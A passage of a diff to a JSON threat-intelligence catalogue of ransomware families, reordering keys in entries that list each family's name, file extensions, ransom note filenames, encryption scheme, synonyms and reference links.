- "value": "ODCODC",
"description": "Ransomware",
"meta": {
+ "encryption": "XOR",
"extensions": [
".odcodc",
"C-email-abennaki@india.com-(NOMBRE_ARCHIVO.ext).odcodc"
],
- "encryption": "XOR",
"ransomnotes": [
"HOW_TO_RESTORE_FILES.txt"
],
@@ -7334,16 +7338,12 @@
"http://www.nyxbone.com/images/articulos/malware/odcodc/1c.png"
]
},
- "uuid": "f90724e4-c148-4479-ae1a-109498b4688f"
+ "uuid": "f90724e4-c148-4479-ae1a-109498b4688f",
+ "value": "ODCODC"
},
{
- "value": "Offline ransomware",
"description": "Ransomware email addresses overlap with .777 addresses",
"meta": {
- "synonyms": [
- "Vipasana",
- "Cryakl"
- ],
"extensions": [
".cbf",
"email-[params].cbf"
@@ -7355,29 +7355,33 @@
"refs": [
"https://support.kaspersky.com/viruses/disinfection/8547",
"http://bartblaze.blogspot.com.co/2016/02/vipasana-ransomware-new-ransom-on-block.html"
+ ],
+ "synonyms": [
+ "Vipasana",
+ "Cryakl"
]
},
- "uuid": "3c51fc0e-42d8-4ff0-b1bd-5c8c20271a39"
+ "uuid": "3c51fc0e-42d8-4ff0-b1bd-5c8c20271a39",
+ "value": "Offline ransomware"
},
{
- "value": "OMG! Ransomware",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "GPCode"
- ],
"extensions": [
".LOL!",
".OMG!"
],
"ransomnotes": [
"how to get data.txt"
+ ],
+ "synonyms": [
+ "GPCode"
]
},
- "uuid": "7914f9c9-3257-464c-b918-3754c4d018af"
+ "uuid": "7914f9c9-3257-464c-b918-3754c4d018af",
+ "value": "OMG! Ransomware"
},
{
- "value": "Operation Global III",
"description": "Ransomware Is a file infector (virus)",
"meta": {
"extensions": [
@@ -7387,15 +7391,12 @@
"http://news.thewindowsclub.com/operation-global-iii-ransomware-decryption-tool-released-70341/"
]
},
- "uuid": "e5800883-c663-4eb0-b05e-6034df5bc6e0"
+ "uuid": "e5800883-c663-4eb0-b05e-6034df5bc6e0",
+ "value": "Operation Global III"
},
{
- "value": "Owl",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "CryptoWire"
- ],
"extensions": [
"dummy_file.encrypted",
"dummy_file.encrypted.[extension]"
@@ -7405,12 +7406,15 @@
],
"refs": [
"https://twitter.com/JakubKroustek/status/842342996775448576"
+ ],
+ "synonyms": [
+ "CryptoWire"
]
},
- "uuid": "4bb11db7-17a0-4536-b817-419ae6299004"
+ "uuid": "4bb11db7-17a0-4536-b817-419ae6299004",
+ "value": "Owl"
},
{
- "value": "PadCrypt",
"description": "Ransomware has a live support chat",
"meta": {
"extensions": [
@@ -7425,20 +7429,20 @@
"https://twitter.com/malwrhunterteam/status/798141978810732544"
]
},
- "uuid": "57c5df76-e72f-41b9-be29-89395f83a77c"
+ "uuid": "57c5df76-e72f-41b9-be29-89395f83a77c",
+ "value": "PadCrypt"
},
{
- "value": "Padlock Screenlocker",
"description": "Ransomware Unlock code is: ajVr/G\\ RJz0R",
"meta": {
"refs": [
"https://twitter.com/BleepinComputer/status/811635075158839296"
]
},
- "uuid": "8f41c9ce-9bd4-4bbd-96d7-c965d1621be7"
+ "uuid": "8f41c9ce-9bd4-4bbd-96d7-c965d1621be7",
+ "value": "Padlock Screenlocker"
},
{
- "value": "Patcher",
"description": "Ransomware Targeting macOS users",
"meta": {
"extensions": [
@@ -7452,15 +7456,12 @@
"https://www.bleepingcomputer.com/news/security/new-macos-patcher-ransomware-locks-data-for-good-no-way-to-recover-your-files/"
]
},
- "uuid": "e211ea8d-5042-48ae-86c6-15186d1f8dba"
+ "uuid": "e211ea8d-5042-48ae-86c6-15186d1f8dba",
+ "value": "Patcher"
},
{
- "value": "Petya",
"description": "Ransomware encrypts disk partitions PDFBewerbungsmappe.exe",
"meta": {
- "synonyms": [
- "Goldeneye"
- ],
"encryption": "Modified Salsa20",
"ransomnotes": [
"YOUR_FILES_ARE_ENCRYPTED.TXT"
@@ -7470,28 +7471,31 @@
"https://www.youtube.com/watch?v=mSqxFjZq_z4",
"https://blog.malwarebytes.org/threat-analysis/2016/04/petya-ransomware/",
"https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/"
+ ],
+ "synonyms": [
+ "Goldeneye"
]
},
- "uuid": "7c5a1e93-7ab2-4b08-ada9-e82c4feaed0a"
+ "uuid": "7c5a1e93-7ab2-4b08-ada9-e82c4feaed0a",
+ "value": "Petya"
},
{
- "value": "Philadelphia",
"description": "Ransomware Coded by \"The_Rainmaker\"",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".locked",
".locked"
],
- "encryption": "AES-256",
"refs": [
"https://decrypter.emsisoft.com/philadelphia",
"www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/"
]
},
- "uuid": "6fd25982-9cf8-4379-a126-433c91aaadf2"
+ "uuid": "6fd25982-9cf8-4379-a126-433c91aaadf2",
+ "value": "Philadelphia"
},
{
- "value": "PizzaCrypts",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7501,25 +7505,25 @@
"http://download.bleepingcomputer.com/BloodDolly/JuicyLemonDecoder.zip"
]
},
- "uuid": "2482122b-1df6-488e-8867-215b165a4f66"
+ "uuid": "2482122b-1df6-488e-8867-215b165a4f66",
+ "value": "PizzaCrypts"
},
{
- "value": "PokemonGO",
"description": "Ransomware Based on Hidden Tear",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".locked"
],
- "encryption": "AES-256",
"refs": [
"http://www.nyxbone.com/malware/pokemonGO.html",
"http://www.bleepingcomputer.com/news/security/pokemongo-ransomware-installs-backdoor-accounts-and-spreads-to-other-drives/"
]
},
- "uuid": "8b151275-d4c4-438a-9d06-92da2835586d"
+ "uuid": "8b151275-d4c4-438a-9d06-92da2835586d",
+ "value": "PokemonGO"
},
{
- "value": "Polyglot",
"description": "Ransomware Immitates CTB-Locker",
"meta": {
"encryption": "AES-256",
@@ -7528,30 +7532,30 @@
"https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/"
]
},
- "uuid": "b22cafb4-ccef-4935-82f4-631a6e539b8e"
+ "uuid": "b22cafb4-ccef-4935-82f4-631a6e539b8e",
+ "value": "Polyglot"
},
{
- "value": "PowerWare",
"description": "Ransomware Open-sourced PowerShell",
"meta": {
- "synonyms": [
- "PoshCoder"
- ],
+ "encryption": "AES-128",
"extensions": [
".locky"
],
- "encryption": "AES-128",
"refs": [
"https://github.com/pan-unit42/public_tools/blob/master/powerware/powerware_decrypt.py",
"https://download.bleepingcomputer.com/demonslay335/PowerLockyDecrypter.zip",
"https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/",
"http://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/"
+ ],
+ "synonyms": [
+ "PoshCoder"
]
},
- "uuid": "9fa93bb7-2997-4864-aa0e-0e667990dec8"
+ "uuid": "9fa93bb7-2997-4864-aa0e-0e667990dec8",
+ "value": "PowerWare"
},
{
- "value": "PowerWorm",
"description": "Ransomware no decryption possible, throws key away, destroys the files",
"meta": {
"encryption": "AES",
@@ -7559,10 +7563,10 @@
"DECRYPT_INSTRUCTION.html"
]
},
- "uuid": "b54d59d7-b604-4b01-8002-5a2930732ca6"
+ "uuid": "b54d59d7-b604-4b01-8002-5a2930732ca6",
+ "value": "PowerWorm"
},
{
- "value": "Princess Locker",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7581,30 +7585,30 @@
"https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/"
]
},
- "uuid": "7c8ff7e5-2cad-48e8-92e8-4c8226933cbc"
+ "uuid": "7c8ff7e5-2cad-48e8-92e8-4c8226933cbc",
+ "value": "Princess Locker"
},
{
- "value": "PRISM",
"description": "Ransomware",
"meta": {
"refs": [
"http://www.enigmasoftware.com/prismyourcomputerhasbeenlockedransomware-removal/"
]
},
- "uuid": "c0ebfb75-254d-4d85-9d02-a7af8e655068"
+ "uuid": "c0ebfb75-254d-4d85-9d02-a7af8e655068",
+ "value": "PRISM"
},
{
- "value": "Ps2exe",
"description": "Ransomware",
"meta": {
"refs": [
"https://twitter.com/jiriatvirlab/status/803297700175286273"
]
},
- "uuid": "1da6653c-8657-4cdc-9eaf-0df9d2ebbf10"
+ "uuid": "1da6653c-8657-4cdc-9eaf-0df9d2ebbf10",
+ "value": "Ps2exe"
},
{
- "value": "R",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -7614,10 +7618,10 @@
"https://twitter.com/malwrhunterteam/status/846705481741733892"
]
},
- "uuid": "f7cd8956-2825-4104-94b1-e9589ab1089a"
+ "uuid": "f7cd8956-2825-4104-94b1-e9589ab1089a",
+ "value": "R"
},
{
- "value": "R980",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7631,15 +7635,12 @@
"https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/"
]
},
- "uuid": "6a7ebb0a-78bc-4fdc-92ae-1b02976b5499"
+ "uuid": "6a7ebb0a-78bc-4fdc-92ae-1b02976b5499",
+ "value": "R980"
},
{
- "value": "RAA encryptor",
"description": "Ransomware Possible affiliation with Pony",
"meta": {
- "synonyms": [
- "RAA"
- ],
"extensions": [
".locked"
],
@@ -7649,31 +7650,34 @@
"refs": [
"https://reaqta.com/2016/06/raa-ransomware-delivering-pony/",
"http://www.bleepingcomputer.com/news/security/the-new-raa-ransomware-is-created-entirely-using-javascript/"
+ ],
+ "synonyms": [
+ "RAA"
]
},
- "uuid": "b6d4faa1-6d76-42ff-8a18-238eb70cff06"
+ "uuid": "b6d4faa1-6d76-42ff-8a18-238eb70cff06",
+ "value": "RAA encryptor"
},
{
- "value": "Rabion",
"description": "Ransomware RaaS Copy of Ranion RaaS",
"meta": {
"refs": [
"https://twitter.com/CryptoInsane/status/846181140025282561"
]
},
- "uuid": "4a95257a-6646-492f-93eb-d15dff7ce1eb"
+ "uuid": "4a95257a-6646-492f-93eb-d15dff7ce1eb",
+ "value": "Rabion"
},
{
- "value": "Radamant",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".RDM",
".RRK",
".RAD",
".RADAMANT"
],
- "encryption": "AES-256",
"ransomnotes": [
"YOUR_FILES.url"
],
@@ -7683,23 +7687,12 @@
"http://www.nyxbone.com/malware/radamant.html"
]
},
- "uuid": "674c3bf6-2e16-427d-ab0f-b91676a460cd"
+ "uuid": "674c3bf6-2e16-427d-ab0f-b91676a460cd",
+ "value": "Radamant"
},
{
- "value": "Rakhni",
"description": "Ransomware Files might be partially encrypted",
"meta": {
- "synonyms": [
- "Agent.iih",
- "Aura",
- "Autoit",
- "Pletor",
- "Rotor",
- "Lamer",
- "Isda",
- "Cryptokluchen",
- "Bandarchor"
- ],
"extensions": [
".locked",
".kraken",
@@ -7735,17 +7728,28 @@
],
"refs": [
"https://support.kaspersky.com/us/viruses/disinfection/10556"
+ ],
+ "synonyms": [
+ "Agent.iih",
+ "Aura",
+ "Autoit",
+ "Pletor",
+ "Rotor",
+ "Lamer",
+ "Isda",
+ "Cryptokluchen",
+ "Bandarchor"
]
},
- "uuid": "c85a41a8-a0a1-4963-894f-84bb980e6e86"
+ "uuid": "c85a41a8-a0a1-4963-894f-84bb980e6e86",
+ "value": "Rakhni"
},
{
- "value": "Ramsomeer",
"description": "Ransomware Based on the DUMB ransomware",
- "uuid": "5b81ea66-9a44-43d8-bceb-22e5b0582f8d"
+ "uuid": "5b81ea66-9a44-43d8-bceb-22e5b0582f8d",
+ "value": "Ramsomeer"
},
{
- "value": "Rannoh",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7755,10 +7759,10 @@
"https://support.kaspersky.com/viruses/disinfection/8547"
]
},
- "uuid": "d45f089b-efc7-45f8-a681-845374349d83"
+ "uuid": "d45f089b-efc7-45f8-a681-845374349d83",
+ "value": "Rannoh"
},
{
- "value": "RanRan",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7781,10 +7785,10 @@
"https://www.bleepingcomputer.com/news/security/new-ranran-ransomware-uses-encryption-tiers-political-messages/"
]
},
- "uuid": "e01a0cfa-2c8c-4e08-963a-4fa1e8cc6a34"
+ "uuid": "e01a0cfa-2c8c-4e08-963a-4fa1e8cc6a34",
+ "value": "RanRan"
},
{
- "value": "Ransoc",
"description": "Ransomware Doesn't encrypt user files",
"meta": {
"refs": [
@@ -7792,15 +7796,15 @@
"https://www.bleepingcomputer.com/news/security/ransoc-ransomware-extorts-users-who-accessed-questionable-content/"
]
},
- "uuid": "f0fcbac5-6216-4c3c-adcb-3aa06ab23340"
+ "uuid": "f0fcbac5-6216-4c3c-adcb-3aa06ab23340",
+ "value": "Ransoc"
},
{
- "value": "Ransom32",
"description": "Ransomware no extension change, Javascript Ransomware",
- "uuid": "d74e2fa6-6b8d-49ed-80f9-07b274eecef8"
+ "uuid": "d74e2fa6-6b8d-49ed-80f9-07b274eecef8",
+ "value": "Ransom32"
},
{
- "value": "RansomLock",
"description": "Ransomware Locks the desktop",
"meta": {
"encryption": "Asymmetric 1024 ",
@@ -7808,36 +7812,36 @@
"https://www.symantec.com/security_response/writeup.jsp?docid=2009-041513-1400-99&tabid=2"
]
},
- "uuid": "24f98123-192c-4e31-b2ee-4c77afbdc3be"
+ "uuid": "24f98123-192c-4e31-b2ee-4c77afbdc3be",
+ "value": "RansomLock"
},
{
- "value": "RarVault",
"description": "Ransomware",
"meta": {
"ransomnotes": [
"RarVault.htm"
]
},
- "uuid": "c8ee96a3-ac22-40c7-8ed2-df67aeaca08d"
+ "uuid": "c8ee96a3-ac22-40c7-8ed2-df67aeaca08d",
+ "value": "RarVault"
},
{
- "value": "Razy",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-128",
"extensions": [
".razy",
".fear"
],
- "encryption": "AES-128",
"refs": [
"http://www.nyxbone.com/malware/Razy(German).html",
"http://nyxbone.com/malware/Razy.html"
]
},
- "uuid": "f2a38c7b-054e-49ab-aa0e-67a7aac71837"
+ "uuid": "f2a38c7b-054e-49ab-aa0e-67a7aac71837",
+ "value": "Razy"
},
{
- "value": "Rector",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7850,16 +7854,16 @@
"https://support.kaspersky.com/viruses/disinfection/4264"
]
},
- "uuid": "08f519f4-df8f-4baf-b7ac-c7a0c66f7e74"
+ "uuid": "08f519f4-df8f-4baf-b7ac-c7a0c66f7e74",
+ "value": "Rector"
},
{
- "value": "RektLocker",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".rekt"
],
- "encryption": "AES-256",
"ransomnotes": [
"Readme.txt"
],
@@ -7867,10 +7871,10 @@
"https://support.kaspersky.com/viruses/disinfection/4264"
]
},
- "uuid": "5448f038-0558-45c7-bda7-76950f82846a"
+ "uuid": "5448f038-0558-45c7-bda7-76950f82846a",
+ "value": "RektLocker"
},
{
- "value": "RemindMe",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7885,16 +7889,16 @@
"http://i.imgur.com/gV6i5SN.jpg"
]
},
- "uuid": "0120015c-7d37-469c-a966-7a0d42166e67"
+ "uuid": "0120015c-7d37-469c-a966-7a0d42166e67",
+ "value": "RemindMe"
},
{
- "value": "Rokku",
"description": "Ransomware possibly related with Chimera",
"meta": {
+ "encryption": "Curve25519 + ChaCha",
"extensions": [
".rokku"
],
- "encryption": "Curve25519 + ChaCha",
"ransomnotes": [
"README_HOW_TO_UNLOCK.TXT",
"README_HOW_TO_UNLOCK.HTML"
@@ -7903,50 +7907,50 @@
"https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/"
]
},
- "uuid": "61184aea-e87b-467d-b36e-cfc75ccb242f"
+ "uuid": "61184aea-e87b-467d-b36e-cfc75ccb242f",
+ "value": "Rokku"
},
{
- "value": "RoshaLock",
"description": "Ransomware Stores your files in a password protected RAR file",
"meta": {
"refs": [
"https://twitter.com/siri_urz/status/842452104279134209"
]
},
- "uuid": "e88a7509-9c79-42c1-8b0c-5e63af8e25b5"
+ "uuid": "e88a7509-9c79-42c1-8b0c-5e63af8e25b5",
+ "value": "RoshaLock"
},
{
- "value": "Runsomewere",
"description": "Ransomware Based on HT/EDA2 Utilizes the Jigsaw Ransomware background",
"meta": {
"refs": [
"https://twitter.com/struppigel/status/801812325657440256"
]
},
- "uuid": "266b366b-2b4f-41af-a30f-eab1c63c9976"
+ "uuid": "266b366b-2b4f-41af-a30f-eab1c63c9976",
+ "value": "Runsomewere"
},
{
- "value": "RussianRoulette",
"description": "Ransomware Variant of the Philadelphia ransomware",
"meta": {
"refs": [
"https://twitter.com/struppigel/status/823925410392080385"
]
},
- "uuid": "1149197c-89e7-4a8f-98aa-40ac0a9c0914"
+ "uuid": "1149197c-89e7-4a8f-98aa-40ac0a9c0914",
+ "value": "RussianRoulette"
},
{
- "value": "SADStory",
"description": "Ransomware Variant of CryPy",
"meta": {
"refs": [
"https://twitter.com/malwrhunterteam/status/845356853039190016"
]
},
- "uuid": "6d81cee2-6c99-41fb-8b54-6581422d85dc"
+ "uuid": "6d81cee2-6c99-41fb-8b54-6581422d85dc",
+ "value": "SADStory"
},
{
- "value": "Sage 2.2",
"description": "Ransomware Sage 2.2 deletes volume snapshots through vssadmin.exe, disables startup repair, uses process wscript.exe to execute a VBScript, and coordinates the execution of scheduled tasks via schtasks.exe.",
"meta": {
"extensions": [
@@ -7957,21 +7961,13 @@
"https://malwarebreakdown.com/2017/03/10/finding-a-good-man/"
]
},
- "uuid": "eacf3aee-ffb1-425a-862f-874e444a218d"
+ "uuid": "eacf3aee-ffb1-425a-862f-874e444a218d",
+ "value": "Sage 2.2"
},
{
- "value": "Samas-Samsam",
"description": "Ransomware Targeted attacks -Jexboss -PSExec -Hyena",
"meta": {
- "synonyms": [
- "samsam.exe",
- "MIKOPONI.exe",
- "RikiRafael.exe",
- "showmehowto.exe",
- "SamSam Ransomware",
- "SamSam",
- "Samsam"
- ],
+ "encryption": "AES(256) + RSA(2096)",
"extensions": [
".encryptedAES",
".encryptedRSA",
@@ -7999,7 +7995,6 @@
".iloveworld",
".weapologize"
],
- "encryption": "AES(256) + RSA(2096)",
"ransomnotes": [
"HELP_DECRYPT_YOUR_FILES.html",
"###-READ-FOR-HELLPP.html",
@@ -8031,32 +8026,41 @@
"https://www.bleepingcomputer.com/news/security/new-samsam-variant-requires-special-password-before-infection/",
"https://www.bleepingcomputer.com/news/security/samsam-ransomware-crew-made-nearly-6-million-from-ransom-payments/",
"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf"
+ ],
+ "synonyms": [
+ "samsam.exe",
+ "MIKOPONI.exe",
+ "RikiRafael.exe",
+ "showmehowto.exe",
+ "SamSam Ransomware",
+ "SamSam",
+ "Samsam"
]
},
- "uuid": "731e4a5e-35f2-47b1-80ba-150b95fdc14d"
+ "uuid": "731e4a5e-35f2-47b1-80ba-150b95fdc14d",
+ "value": "Samas-Samsam"
},
{
- "value": "Sanction",
"description": "Ransomware Based on HiddenTear, but heavily modified keygen",
"meta": {
+ "encryption": "AES-256 + RSA-2096",
"extensions": [
".sanction"
],
- "encryption": "AES-256 + RSA-2096",
"ransomnotes": [
"DECRYPT_YOUR_FILES.HTML"
]
},
- "uuid": "e7b69fbe-26ba-49df-aa62-a64525f89343"
+ "uuid": "e7b69fbe-26ba-49df-aa62-a64525f89343",
+ "value": "Sanction"
},
{
- "value": "Sanctions",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256 + RSA-2048",
"extensions": [
".wallet"
],
- "encryption": "AES-256 + RSA-2048",
"ransomnotes": [
"RESTORE_ALL_DATA.html"
],
@@ -8064,10 +8068,10 @@
"https://www.bleepingcomputer.com/news/security/sanctions-ransomware-makes-fun-of-usa-sanctions-against-russia/"
]
},
- "uuid": "7b517c02-9f93-44c7-b957-10346803c43c"
+ "uuid": "7b517c02-9f93-44c7-b957-10346803c43c",
+ "value": "Sanctions"
},
{
- "value": "Sardoninir",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8077,10 +8081,10 @@
"https://twitter.com/BleepinComputer/status/835955409953357825"
]
},
- "uuid": "6e49ecfa-1c25-4841-ae60-3b1c3c9c7710"
+ "uuid": "6e49ecfa-1c25-4841-ae60-3b1c3c9c7710",
+ "value": "Sardoninir"
},
{
- "value": "Satana",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8094,20 +8098,20 @@
"https://blog.kaspersky.com/satana-ransomware/12558/"
]
},
- "uuid": "a127a59e-9e4c-4c2b-b833-cabd076c3016"
+ "uuid": "a127a59e-9e4c-4c2b-b833-cabd076c3016",
+ "value": "Satana"
},
{
- "value": "Scraper",
"description": "Ransomware",
"meta": {
"refs": [
"http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/"
]
},
- "uuid": "c0c685b8-a59d-4922-add9-e572d5fd48cd"
+ "uuid": "c0c685b8-a59d-4922-add9-e572d5fd48cd",
+ "value": "Scraper"
},
{
- "value": "Serpico",
"description": "Ransomware DetoxCrypto Variant",
"meta": {
"encryption": "AES",
@@ -8115,31 +8119,31 @@
"http://www.nyxbone.com/malware/Serpico.html"
]
},
- "uuid": "bd4bfbab-c21d-4971-b70c-b180bcf40630"
+ "uuid": "bd4bfbab-c21d-4971-b70c-b180bcf40630",
+ "value": "Serpico"
},
{
- "value": "Shark",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "Atom"
- ],
+ "encryption": "AES-256",
"extensions": [
".locked"
],
- "encryption": "AES-256",
"ransomnotes": [
"Readme.txt"
],
"refs": [
"http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/",
"http://www.bleepingcomputer.com/news/security/shark-ransomware-rebrands-as-atom-for-a-fresh-start/"
+ ],
+ "synonyms": [
+ "Atom"
]
},
- "uuid": "503c9910-902f-4bae-8c33-ea29db8bdd7f"
+ "uuid": "503c9910-902f-4bae-8c33-ea29db8bdd7f",
+ "value": "Shark"
},
{
- "value": "ShinoLocker",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8150,33 +8154,33 @@
"http://www.bleepingcomputer.com/news/security/new-educational-shinolocker-ransomware-project-released/"
]
},
- "uuid": "bc029327-ee34-4eba-8933-bd85f2a1e9d1"
+ "uuid": "bc029327-ee34-4eba-8933-bd85f2a1e9d1",
+ "value": "ShinoLocker"
},
{
- "value": "Shujin",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "KinCrypt"
- ],
"ransomnotes": [
"文件解密帮助.txt"
],
"refs": [
"http://www.nyxbone.com/malware/chineseRansom.html",
"http://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/"
+ ],
+ "synonyms": [
+ "KinCrypt"
]
},
- "uuid": "b9963d52-a391-4e9c-92e7-d2a147d5451f"
+ "uuid": "b9963d52-a391-4e9c-92e7-d2a147d5451f",
+ "value": "Shujin"
},
{
- "value": "Simple_Encoder",
"description": "Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
".~"
],
- "encryption": "AES",
"ransomnotes": [
"_RECOVER_INSTRUCTIONS.ini"
],
@@ -8184,41 +8188,41 @@
"http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/"
]
},
- "uuid": "2709b2ff-a2be-49a9-b268-2576170a5dff"
+ "uuid": "2709b2ff-a2be-49a9-b268-2576170a5dff",
+ "value": "Simple_Encoder"
},
{
- "value": "SkidLocker",
"description": "Ransomware Based on EDA2",
"meta": {
- "synonyms": [
- "Pompous"
- ],
+ "encryption": "AES-256",
"extensions": [
".locked"
],
- "encryption": "AES-256",
"ransomnotes": [
"READ_IT.txt"
],
"refs": [
"http://www.bleepingcomputer.com/news/security/pompous-ransomware-dev-gets-defeated-by-backdoor/",
"http://www.nyxbone.com/malware/SkidLocker.html"
+ ],
+ "synonyms": [
+ "Pompous"
]
},
- "uuid": "44b6b99e-b1d9-4605-95c2-55c14c7c25be"
+ "uuid": "44b6b99e-b1d9-4605-95c2-55c14c7c25be",
+ "value": "SkidLocker"
},
{
- "value": "Smash!",
"description": "Ransomware",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/smash-ransomware-is-cute-rather-than-dangerous/"
]
},
- "uuid": "27283e74-abc6-4d8a-bcb6-a60804b8e264"
+ "uuid": "27283e74-abc6-4d8a-bcb6-a60804b8e264",
+ "value": "Smash!"
},
{
- "value": "Smrss32",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8228,17 +8232,17 @@
"_HOW_TO_Decrypt.bmp"
]
},
- "uuid": "cd21bb2a-0c6a-463b-8c0e-16da251f69ae"
+ "uuid": "cd21bb2a-0c6a-463b-8c0e-16da251f69ae",
+ "value": "Smrss32"
},
{
- "value": "SNSLocker",
"description": "Ransomware Based on EDA2",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".RSNSlocked",
".RSplited"
],
- "encryption": "AES-256",
"ransomnotes": [
"READ_Me.txt"
],
@@ -8247,26 +8251,26 @@
"http://nyxbone.com/images/articulos/malware/snslocker/16.png"
]
},
- "uuid": "82658f48-6a62-4dee-bd87-382e76b84c3d"
+ "uuid": "82658f48-6a62-4dee-bd87-382e76b84c3d",
+ "value": "SNSLocker"
},
{
- "value": "Sport",
"description": "Ransomware",
"meta": {
"extensions": [
".sport"
]
},
- "uuid": "9526efea-8853-42f2-89be-a04ee1ca4c7d"
+ "uuid": "9526efea-8853-42f2-89be-a04ee1ca4c7d",
+ "value": "Sport"
},
{
- "value": "Stampado",
"description": "Ransomware Coded by \"The_Rainmaker\" Randomly deletes a file every 6hrs up to 96hrs then deletes decryption key",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".locked"
],
- "encryption": "AES-256",
"ransomnotes": [
"Random message includes bitcoin wallet address with instructions"
],
@@ -8278,39 +8282,39 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/the-economics-behind-ransomware-prices/"
]
},
- "uuid": "6b8729b0-7ffc-4d07-98de-e5210928b274"
+ "uuid": "6b8729b0-7ffc-4d07-98de-e5210928b274",
+ "value": "Stampado"
},
{
- "value": "Strictor",
"description": "Ransomware Based on EDA2, shows Guy Fawkes mask",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".locked"
],
- "encryption": "AES-256",
"refs": [
"http://www.nyxbone.com/malware/Strictor.html"
]
},
- "uuid": "d75bdd85-032a-46b7-a339-257fd5656c11"
+ "uuid": "d75bdd85-032a-46b7-a339-257fd5656c11",
+ "value": "Strictor"
},
{
- "value": "Surprise",
"description": "Ransomware Based on EDA2",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".surprise",
".tzu"
],
- "encryption": "AES-256",
"ransomnotes": [
"DECRYPTION_HOWTO.Notepad"
]
},
- "uuid": "6848b77c-92c8-40ec-90ac-9c14b9f17272"
+ "uuid": "6848b77c-92c8-40ec-90ac-9c14b9f17272",
+ "value": "Surprise"
},
{
- "value": "Survey",
"description": "Ransomware Still in development, shows FileIce survey",
"meta": {
"ransomnotes": [
@@ -8320,15 +8324,15 @@
"http://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/"
]
},
- "uuid": "11725992-3634-4715-ae17-b6f5ed13b877"
+ "uuid": "11725992-3634-4715-ae17-b6f5ed13b877",
+ "value": "Survey"
},
{
- "value": "SynoLocker",
"description": "Ransomware Exploited Synology NAS firmware directly over WAN",
- "uuid": "27740d5f-30cf-4c5c-812c-15c0918ce9f0"
+ "uuid": "27740d5f-30cf-4c5c-812c-15c0918ce9f0",
+ "value": "SynoLocker"
},
{
- "value": "SZFLocker",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8338,16 +8342,16 @@
"http://now.avg.com/dont-pay-the-ransom-avg-releases-six-free-decryption-tools-to-retrieve-your-files/"
]
},
- "uuid": "a7845bbe-d7e6-4c7b-a9b8-dccbd93bc4b2"
+ "uuid": "a7845bbe-d7e6-4c7b-a9b8-dccbd93bc4b2",
+ "value": "SZFLocker"
},
{
- "value": "TeamXrat",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".___xratteamLucked"
],
- "encryption": "AES-256",
"ransomnotes": [
"Como descriptografar os seus arquivos.txt"
],
@@ -8355,15 +8359,12 @@
"https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/"
]
},
- "uuid": "65a31863-4f59-4c66-bc2d-31e8fb68bbe8"
+ "uuid": "65a31863-4f59-4c66-bc2d-31e8fb68bbe8",
+ "value": "TeamXrat"
},
{
- "value": "TeslaCrypt 0.x - 2.2.0",
"description": "Ransomware Factorization",
"meta": {
- "synonyms": [
- "AlphaCrypt"
- ],
"extensions": [
".vvv",
".ecc",
@@ -8381,31 +8382,34 @@
"refs": [
"http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/",
"http://www.talosintel.com/teslacrypt_tool/"
+ ],
+ "synonyms": [
+ "AlphaCrypt"
]
},
- "uuid": "af92c71e-935e-4486-b4e7-319bf16d622e"
+ "uuid": "af92c71e-935e-4486-b4e7-319bf16d622e",
+ "value": "TeslaCrypt 0.x - 2.2.0"
},
{
- "value": "TeslaCrypt 3.0+",
"description": "Ransomware 4.0+ has no extension",
"meta": {
+ "encryption": "AES-256 + ECHD + SHA1",
"extensions": [
".micro",
".xxx",
".ttt",
".mp3"
],
- "encryption": "AES-256 + ECHD + SHA1",
"refs": [
"http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/",
